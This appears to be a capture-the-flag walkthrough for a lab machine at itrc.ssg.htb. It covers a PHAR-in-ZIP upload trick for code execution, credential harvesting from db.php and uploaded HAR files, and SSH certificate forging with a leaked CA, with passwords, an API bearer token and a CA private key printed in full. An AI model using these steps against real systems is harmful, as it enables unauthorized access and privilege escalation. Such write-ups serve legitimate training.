TL;DR
- File upload functionality exposes PHAR-based file handling flaws, enabling code execution via crafted ZIP with
_HALT_COMPILER(). - Zip contents in
/var/www/itrc/uploadsleak credentials, allowing SSH access as msainristil, then certificate-based pivot to zzinter. - Private CA misuse enables generating arbitrary SSH certs via
signserv.ssg.htb, leading to root access through supported principals.
Recon
As Usual, start with a Nmap scan to enumerate services running on the target machine.
nmap $ip -sVC -T3 --top-ports 1000 -oN nmap-tcp.initial -vvv
Port 80

Files
admin.php [Status: 200, Size: 46, Words: 7, Lines: 4, Duration: 169ms]register.php [Status: 200, Size: 566, Words: 98, Lines: 11, Duration: 168ms]index.php [Status: 200, Size: 3120, Words: 291, Lines: 40, Duration: 172ms]login.php [Status: 200, Size: 433, Words: 82, Lines: 10, Duration: 188ms]home.php [Status: 200, Size: 844, Words: 134, Lines: 6, Duration: 173ms]logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 165ms].htaccess [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 166ms]. [Status: 200, Size: 3120, Words: 291, Lines: 40, Duration: 163ms]db.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 186ms].html [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 173ms]dashboard.php [Status: 200, Size: 46, Words: 7, Lines: 4, Duration: 162ms].htpasswd [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 172ms].htm [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 160ms].htpasswds [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 162ms]header.inc.php [Status: 200, Size: 1267, Words: 129, Lines: 23, Duration: 159ms]footer.inc.php [Status: 200, Size: 982, Words: 29, Lines: 10, Duration: 163ms].htgroup [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 161ms]loggedin.php [Status: 200, Size: 46, Words: 7, Lines: 4, Duration: 163ms]ticket.php [Status: 200, Size: 46, Words: 7, Lines: 4, Duration: 159ms].htaccess.bak [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 162ms]shell.php [Status: 200, Size: 15203, Words: 6917, Lines: 419, Duration: 163ms].htuser [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 161ms].htc [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 161ms].ht [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 161ms].htacess [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 160ms].htaccess.old [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 162ms]Exploitations
Initial Exploitation
uploading empty zip file throws following error

<br /><b>Deprecated</b>: ZipArchive::open(): Using empty file as ZipArchive is deprecated in <b>/var/www/itrc/savefile.inc.php</b> on line <b>38</b><br /><br /><b>Warning</b>: hash_file(/tmp/phpe0t8fe): Failed to open stream: No such file or directory in <b>/var/www/itrc/savefile.inc.php</b> on line <b>48</b><br /><br /><b>Warning</b>: Cannot modify header information - headers already sent by (output started at /var/www/itrc/savefile.inc.php:38) in <b>/var/www/itrc/api/create_ticket.php</b> on line <b>31</b><br />visit http://itrc.ssg.htb/?page=/var/www/itrc/api/create_ticket

add _HALT_COMPILER(); at the end of php shell so that phar can read the file.
zip lzmk.zip shell.phpPrivilege Escalation
# www-data@itrc:/var/www/itrc$ cat db.php<?php
$dsn = "mysql:host=db;dbname=resourcecenter;";$dbusername = "jj";$dbpassword = "ugEG5rR5SG8uPd";$pdo = new PDO($dsn, $dbusername, $dbpassword);
try { $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);} catch (PDOException $e) { die("Connection failed: " . $e->getMessage());}enumerate zip files on /var/www/itrc/uploads
www-data@itrc:/var/www/itrc/uploads$ for file in *.zip; do zipgrep "zzinter" "$file"; donewww-data@itrc:/var/www/itrc/uploads$ for file in *.zip; do zipgrep "msainristil" "$file"; doneitrc.ssg.htb.har: "text": "user=msainristil&pass=82yards2closeit",itrc.ssg.htb.har: "value": "msainristil"ssh into machine with as msainristil:82yards2closeit
/home/msainristil contents

/home/msainristil/decommission_old_ca contents

ssh-keygen -t rsa -b 2048 -f lzmk
ssh-keygen -s ca-itrc -I ca-itrc.pub -n zzinter lzmk.pub
ssh-keygen -Lf lzmk-cert.pub
ssh -o CertificateFile=lzmk-cert.pub -i lzmk zzinter@localhost
do the same for root

#!/bin/bash
usage () { echo "Usage: $0 <public_key_file> <username> <principal>" exit 1}
if [ "$#" -ne 3 ]; then usagefi
public_key_file="$1"username="$2"principal_str="$3"
supported_principals="webserver,analytics,support,security"IFS=',' read -ra principal <<< "$principal_str"for word in "${principal[@]}"; do if ! echo "$supported_principals" | grep -qw "$word"; then echo "Error: '$word' is not a supported principal." echo "Choose from:" echo " webserver - external web servers - webadmin user" echo " analytics - analytics team databases - analytics user" echo " support - IT support server - support user" echo " security - SOC servers - support user" echo usage fidone
if [ ! -f "$public_key_file" ]; then echo "Error: Public key file '$public_key_file' not found." usagefi
public_key=$(cat $public_key_file)
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
ssh-keygen -t rsa -b 2048 -f lzmksupport
chmod 600 lzmksupport
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$(cat ./lzmksupport.pub)"'", "username": "lzmk", "principals": "support"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"
ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgaFsqAkVgBT0+Q5cuQnpZ0Yz+6fyNizP93XCX/1qR0ykAAAADAQABAAABAQC+4R9Eo2krqECHnUhzHJMbWgVfRuEDbBJ2wCvSzAOgV1hcWSJ1i+u2cmd12kRZp6oaIZXBatVBbpM0lbJNWxONltIlHnh9TXe2ryT0yn9VTH8tSykVZEb6hJYsiVrN13JU4Z4ZTkBL7pbFyJxWmIir4H4rltzHutDaw+nOTUiO/7pBc+/sVX/XWUACMcG/ABlSvlscQaqRHCBr3JardD2IlMZdvj7hiBd6nLZhHeYuDRoC4dm5K9N5jZA5avNNuKSgYKXlQnn3NMCUejVUHdvmjodJ+vOxS8NlUIhfZ9/YQ55e9S9REjJ2MTKivHF+Yj2zw0qInFRJU+MKVSHTskS5AAAAAAAAAD4AAAABAAAABGx6bWsAAAALAAAAB3N1cHBvcnQAAAAAZq3XKf//////////AAAAAAAAAIIAAAAVcGVybWl0LVgxMS1mb3J3YXJkaW5nAAAAAAAAABdwZXJtaXQtYWdlbnQtZm9yd2FyZGluZwAAAAAAAAAWcGVybWl0LXBvcnQtZm9yd2FyZGluZwAAAAAAAAAKcGVybWl0LXB0eQAAAAAAAAAOcGVybWl0LXVzZXItcmMAAAAAAAAAAAAAADMAAAALc3NoLWVkMjU1MTkAAAAggeDwK53LVKHJh+rMLcA2WABxbtDgyhm57MATyY0VKbEAAABTAAAAC3NzaC1lZDI1NTE5AAAAQLAwtLjL1xusCSxJGtKPnL1kjETtB/NeKUo1mMI2YoZJF5cRnUCgL2PE8w5GPtz3hFGm2EjY9hh4TJqP1ixmeQg= kali@kalilogin as support
ssh -o CertificateFile=lzmksupport-cert.pub -i lzmksupport support@ssg.htb -p 2222
check auth_principles
support@ssg:/etc/ssh/auth_principals$ ls -latotal 20drwxr-xr-x 2 root root 4096 Feb 8 2024 .drwxr-xr-x 5 root root 4096 Jul 24 12:24 ..-rw-r--r-- 1 root root 10 Feb 8 2024 root-rw-r--r-- 1 root root 18 Feb 8 2024 support-rw-r--r-- 1 root root 13 Feb 8 2024 zzinterfor zzinter
ssh-keygen -t rsa -b 2048 -f zzinter && chmod 600 zzinter
curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$(cat ./zzinter.pub)"'", "username": "zzinter", "principals": "zzinter_temp"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"ssh-rsa-cert-v01@openssh.com AAAAHHNzaC1yc2EtY2VydC12MDFAb3BlbnNzaC5jb20AAAAgbuI+MV26gc95UpyyZm1luCT0pdVUqF0SqXhkFaX1MgwAAAADAQABAAABAQDqjLWRomEL14UVInI9JmjV4zLkX7J3BZbJOMn3gqMQATZb7HTaKGjdxxcON9Z0fUMHJvYcOGQzn5Od2yibWKO8PO9G4s2ZAwqN+8ahQfoah0tAKlt83MnwPhVijCGUyF256SPyDWLdVZYbuv3airq4iW12knBEcUwpWdb9cuVYr/rv/uBxCxhJ+nPVA0MUpPxtYoaDhBkx4po6JzgWk5xvy29sQZmA/fmscTbiujgY+c2N02ssGemgYSoJPjHZOlG2jr1v2/yioECfoyX+vcm4Q/KGZ/Km2wNdsTXWUKZTWm/kB81zVbFbnAX8yKnpPKPTlhrBKZGB0O52isjxhlXPAAAAAAAAAEIAAAABAAAAB3p6aW50ZXIAAAAQAAAADHp6aW50ZXJfdGVtcAAAAABmrePN//////////8AAAAAAAAAggAAABVwZXJtaXQtWDExLWZvcndhcmRpbmcAAAAAAAAAF3Blcm1pdC1hZ2VudC1mb3J3YXJkaW5nAAAAAAAAABZwZXJtaXQtcG9ydC1mb3J3YXJkaW5nAAAAAAAAAApwZXJtaXQtcHR5AAAAAAAAAA5wZXJtaXQtdXNlci1yYwAAAAAAAAAAAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAFMAAAALc3NoLWVkMjU1MTkAAABAKPAyZ72DeDolgzhHT0fuZMX1zrwQXn5K9PK4TKjlt874auAfTs6roNDCmRQCp8wD23mFKzYHQ6bl6Ax2wHgtBw== kali@kali
chmod 600 zzinter-cert.publogin as zzinter
ssh -o CertificateFile=zzinter-cert.pub -i zzinter zzinter@ssg.htb -p 2222
#!/bin/bash
usage () { echo "Usage: $0 <ca_file> <public_key_file> <username> <principal> <serial>" exit 1}
if [ "$#" -ne 5 ]; then usagefi
ca_file="$1"public_key_file="$2"username="$3"principal="$4"serial="$5"
if [ ! -f "$ca_file" ]; then echo "Error: CA file '$ca_file' not found." usagefi
if [[ $ca == "/etc/ssh/ca-it" ]]; then echo "Error: Use API for signing with this CA." usagefi
itca=$(cat /etc/ssh/ca-it)ca=$(cat "$ca_file")if [[ $itca == $ca ]]; then echo "Error: Use API for signing with this CA." usagefi
if [ ! -f "$public_key_file" ]; then echo "Error: Public key file '$public_key_file' not found." usagefi
supported_principals="webserver,analytics,support,security"IFS=',' read -ra principal <<< "$principal_str"for word in "${principal[@]}"; do if ! echo "$supported_principals" | grep -qw "$word"; then echo "Error: '$word' is not a supported principal." echo "Choose from:" echo " webserver - external web servers - webadmin user" echo " analytics - analytics team databases - analytics user" echo " support - IT support server - support user" echo " security - SOC servers - support user" echo usage fidone
if ! [[ $serial =~ ^[0-9]+$ ]]; then echo "Error: '$serial' is not a number." usagefi
ssh-keygen -s "$ca_file" -z "$serial" -I "$username" -V -1w:forever -n "$principals" "$public_key_name"cracked_ca
-----BEGIN OPENSSH PRIVATE KEY-----b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAKg7BlysOwZcrAAAAAtzc2gtZWQyNTUxOQAAACCB4PArnctUocmH6swtwDZYAHFu0ODKGbnswBPJjRUpsQAAAEBexnpzDJyYdz+91UG3dVfjT/scyWdzgaXlgx75RjYOo4Hg8Cudy1ShyYfqzC3ANlgAcW7Q4MoZuezAE8mNFSmxAAAAIkdsb2JhbCBTU0cgU1NIIENlcnRmaWNpYXRlIGZyb20gSVQBAgM=-----END OPENSSH PRIVATE KEY-----Generate and sign ssh certificate using the ca
chmod 600 cracked_ca
ssh-keygen -f root
ssh-keygen -s ca -z 200 -I root -V -10w:forever -n root_user root.pubSSH into the target machine as root with newly minted key
ssh root@itrc.ssg.htb -p2222 -i root -i root-cert.pub